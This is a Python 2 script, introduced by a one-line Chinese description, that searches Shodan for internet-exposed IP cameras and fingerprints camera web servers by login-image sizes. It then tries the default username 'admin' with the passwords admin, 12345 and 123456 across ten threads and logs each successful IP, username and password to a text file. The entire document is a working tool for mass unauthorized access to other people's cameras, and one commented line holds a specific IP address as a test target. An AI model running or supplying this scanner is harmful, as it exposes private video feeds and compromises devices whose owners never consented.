通过shodan 收索网络摄像头，进行弱密码判断，如何登陆成功，会写入文本中
#coding=utf-8
import shodan
import requests
import base64
import threading
import Queue
import time
q=Queue.Queue()
ipQ=Queue.Queue()
lock=threading.Lock()
saveFilename='ip_uname_pwd.txt'
key = ''#填写自己api
def shodanSearch(keywords,key):
SHODAN_API_KEY = key
api = shodan.Shodan(SHODAN_API_KEY)
iplist = []
try:
results = api.search(keywords)
for result in results['matches']:
#print result
ip_port=result['ip_str']+":"+str(result['port'])
iplist.append(ip_port)
return iplist
except shodan.APIError, e:
print 'Error: %s' % e
return []
class MyThread(threading.Thread):
def __init__(self,func):
threading.Thread.__init__(self)
self.func=func
def run(self):
self.func()
def isDiffVersion(ip):
# return -1 获取失败 0 红色 1 摄像头和白色
url = "http://%s" % ip
try:
r = requests.head(url, timeout=5)
print r.status_code
print r.headers['Server']
except:
return -1
print url + ' ',
if r.status_code==401:
print "401 Unauthorized"
return 2
if r.headers['Server']=='DNVRS-Webs':
try:
url = "http://%s/doc/images/login/login_14.png" % ip
r=requests.head(url,timeout=3)
#print r.headers
if r.headers['Content-Length']=='80144':
print "红色"
return 0
else:
try:
url = "http://%s/doc/ui/images/login.jpg" % ip
r = requests.head(url, timeout=3)
#print r.headers
if r.headers['Content-Length'] == '102383':
print "摄像头"
return 1
except:
pass
except :
pass
elif r.headers['Server'] == 'App-webs/':
try:
url = "http://%s/doc/ui/images/login.jpg" % ip
r = requests.head(url, timeout=3)
#print r.headers
if r.headers['Content-Length'] == '102383':
print "摄像头"
return 1
else:
try:
url = "http://%s/doc/images/login/login_left.gif" % ip
r = requests.head(url, timeout=3)
#print r.headers
if r.headers['Content-Length'] == '15256':
print "白色"
return 1
except:
pass
except:
pass
print "|"
return -1
def isLoginType0(ajax_url,username,password):
#username = 'admin'
#password = '12345'
m_szUserPwdValue = base64.encodestring(username + ":" + password).strip("\n\r")
headers = {
"If-Modified-Since": "0",
"Authorization": "Basic %s" % m_szUserPwdValue
}
#print headers
try:
print ajax_url+ ' ',
r = requests.get(ajax_url, headers=headers,timeout=3)
print str(r.status_code) + ' ',
content = r.text
r.close()
#print content
if content.find('Sign in') != -1 :
print "YES!"
return '1', username, password
elif content.find(u'观看视频') != -1 :
print "YES!"
return '1', username, password
elif content.find('video') != -1 :
print "YES!"
return '1', username, password
elif content.find('IP_Camera') != -1:
print "YES!"
return '1', username, password
elif content.find('200') == -1 :
print "NO!"
return '-1',username,password
else:
print "YES!"
return '1',username,password
except Exception as e:
print "timeout "
return '0',username,password
def isLoginType1(ajax_url,username,password):
#username = 'admin'
#password = '12345'
timeStamp = int(time.time() * 1000)
url = 'http://%s:%s@%s?timeStamp=%d' % (username, password,ajax_url.lstrip("http://"),timeStamp)
print url
try:
r=requests.get(url,timeout=3)
except Exception as e:
return '0',username,password
print str(r.status_code) + ' ',
content = r.text
r.close()
#print content
if content.find('200') == -1:
print "NO!"
return '-1',username,password
else:
print "YES!"
return '1',username,password
def writeFile(filename,data):
f=open(filename,'a+')
f.write(data+"\r\n")
f.close()
def isLoginSuccess(ajax_url,serverType,uname,pwd):
if serverType in [0,2]:
result,username,password=isLoginType0(ajax_url,uname,pwd)
else:
result,username,password=isLoginType1(ajax_url,uname,pwd)
if result=='1':
lock.acquire()
writeFile(saveFilename,ajax_url+'---'+username+'---'+password)
lock.release()
def do_work():
while True:
item=q.get()
ajax_url=item['ajax_url']
serverType=item['type']
uname=item['uname']
pwd=item['pwd']
isLoginSuccess(ajax_url,serverType,uname,pwd)
q.task_done()
def rank():
#这里选择搜索的关键字,四种选择
#DNVRS-Webs
#App-webs/
#index.html ipcam
#Basic realm="IP Camera" country:CN
iplist = shodanSearch('IP Camera', key)
print len(iplist)
for ip_port in iplist:
ipQ.put(ip_port)
def do_DiffVersion():
while not ipQ.empty():
ip=ipQ.get()
result=isDiffVersion(ip)
if result in [0,1]:
for pwd in ['admin', '12345','123456']:
item={}
item['ajax_url']='http://%s/ISAPI/Security/userCheck' % ip
item['type']=result
item['uname'] = 'admin'
item['pwd']=pwd
q.put(item)
elif result in [2]:
for pwd in ['admin', '12345','123456']:
item={}
item['ajax_url']='http://%s' % ip
item['type']=result
item['uname'] = 'admin'
item['pwd']=pwd
q.put(item)
ipQ.task_done()
if __name__ == "__main__":
#isLoginType0('http://87.202.163.103:8000','admin','admin')
#input("xx")
date=time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
writeFile(saveFilename,"#################%s#################"%date)
rank()
for i in range(10):
thread = MyThread(do_DiffVersion)
thread.setDaemon(True)
thread.start()
for i in range(10):
thread=MyThread(do_work)
thread.setDaemon(True)
thread.start()
ipQ.join()
q.join()